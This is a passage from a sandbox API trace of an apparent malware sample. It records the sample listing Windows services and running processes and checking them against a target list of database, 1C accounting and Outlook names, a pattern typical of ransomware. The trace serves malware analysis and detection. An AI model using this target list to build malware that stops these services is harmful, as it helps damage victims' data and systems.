(lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0158.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0158.379] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0158.379] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0158.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0158.379] lstrlenW (lpString="RpcEptMapper") returned 12 [0158.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.379] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0158.379] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0158.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0158.379] lstrlenW (lpString="RpcSs") returned 5 [0158.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0158.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0158.379] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0158.379] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0158.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0158.380] lstrlenW (lpString="SamSs") returned 5 [0158.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0158.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0158.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0158.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0158.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0158.380] lstrlenW (lpString="Schedule") returned 8 [0158.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0158.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0158.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0158.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0158.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0158.380] lstrlenW (lpString="SENS") returned 4 [0158.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0158.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0158.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0158.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0158.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0158.380] lstrlenW (lpString="ShellHWDetection") returned 16 [0158.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.380] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0158.380] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0158.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0158.380] lstrlenW (lpString="Spooler") returned 7 [0158.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0158.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0158.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0158.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0158.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0158.380] lstrlenW (lpString="SysMain") returned 7 [0158.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0158.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0158.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0158.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0158.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0158.381] lstrlenW (lpString="Themes") returned 6 [0158.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0158.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0158.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0158.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0158.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0158.381] lstrlenW (lpString="TrkWks") returned 6 [0158.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0158.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0158.381] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0158.381] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0158.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0158.381] lstrlenW (lpString="UxSms") returned 5 [0158.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0158.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0158.381] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0158.381] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0158.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0158.381] lstrlenW (lpString="WdiServiceHost") returned 14 [0158.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.381] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0158.381] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0158.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0158.381] lstrlenW (lpString="WdiSystemHost") returned 13 [0158.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.381] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0158.381] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0158.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0158.382] lstrlenW (lpString="Winmgmt") returned 7 [0158.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0158.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0158.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0158.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0158.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0158.382] lstrlenW (lpString="WPDBusEnum") returned 10 [0158.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0158.382] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0158.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0158.382] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0158.382] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0158.384] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.384] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.385] lstrlenW (lpString="System") returned 6 [0158.385] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0158.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0158.385] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0158.385] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0158.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0158.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0158.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0158.385] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.385] lstrlenW (lpString="smss.exe") returned 8 [0158.385] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0158.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0158.385] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0158.385] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0158.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0158.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0158.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0158.385] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.386] lstrlenW (lpString="csrss.exe") returned 9 [0158.386] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.386] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.386] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0158.386] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.386] lstrlenW (lpString="wininit.exe") returned 11 [0158.386] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0158.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0158.386] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0158.386] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0158.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0158.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0158.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0158.387] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.387] lstrlenW (lpString="csrss.exe") returned 9 [0158.387] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.387] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.387] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0158.387] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.387] lstrlenW (lpString="winlogon.exe") returned 12 [0158.387] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0158.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0158.387] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0158.387] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0158.388] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.388] lstrlenW (lpString="services.exe") returned 12 [0158.388] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.388] lstrlenW (lpString="lsass.exe") returned 9 [0158.388] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0158.389] lstrlenW (lpString="lsm.exe") returned 7 [0158.389] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.389] lstrlenW (lpString="svchost.exe") returned 11 [0158.389] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.389] lstrlenW (lpString="svchost.exe") returned 11 [0158.389] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.389] lstrlenW (lpString="svchost.exe") returned 11 [0158.390] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.390] lstrlenW (lpString="svchost.exe") returned 11 [0158.390] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.390] lstrlenW (lpString="svchost.exe") returned 11 [0158.390] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.390] lstrlenW (lpString="audiodg.exe") returned 11 [0158.391] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.391] lstrlenW (lpString="svchost.exe") returned 11 [0158.391] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.391] lstrlenW (lpString="explorer.exe") returned 12 [0158.391] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.391] lstrlenW (lpString="dwm.exe") returned 7 [0158.391] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.392] lstrlenW (lpString="svchost.exe") returned 11 [0158.392] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0158.392] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0158.392] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0158.392] lstrlenW (lpString="spoolsv.exe") returned 11 [0158.392] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0158.393] lstrlenW (lpString="reader_sl.exe") returned 13 [0158.393] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.393] lstrlenW (lpString="svchost.exe") returned 11 [0158.393] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0158.393] lstrlenW (lpString="taskhost.exe") returned 12 [0158.393] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.394] lstrlenW (lpString="dllhost.exe") returned 11 [0158.394] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0158.394] lstrlenW (lpString="taskhost.exe") returned 12 [0158.394] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0158.394] CloseHandle (hObject=0x1f8) returned 1 [0158.394] Sleep (dwMilliseconds=0x1f4) [0159.223] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0159.469] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0159.725] GetLastError () returned 0xea [0159.725] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x428bbd0 [0159.726] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0159.730] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0159.730] lstrlenW (lpString="Appinfo") returned 7 [0159.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0159.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0159.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0159.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0159.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0159.731] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0159.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.731] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0159.731] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0159.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0159.731] lstrlenW (lpString="AudioSrv") returned 8 [0159.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0159.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0159.731] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0159.731] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0159.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0159.731] lstrlenW (lpString="BFE") returned 3 [0159.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0159.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0159.731] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0159.731] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0159.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0159.731] lstrlenW (lpString="CryptSvc") returned 8 [0159.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0159.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0159.731] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0159.731] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0159.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0159.731] lstrlenW (lpString="CscService") returned 10 [0159.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0159.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0159.731] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0159.731] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0159.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0159.731] lstrlenW (lpString="DcomLaunch") returned 10 [0159.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.731] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0159.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0159.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0159.732] lstrlenW (lpString="Dhcp") returned 4 [0159.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0159.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.732] lstrlenW (lpString="Dnscache") returned 8 [0159.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.732] lstrlenW (lpString="DPS") returned 3 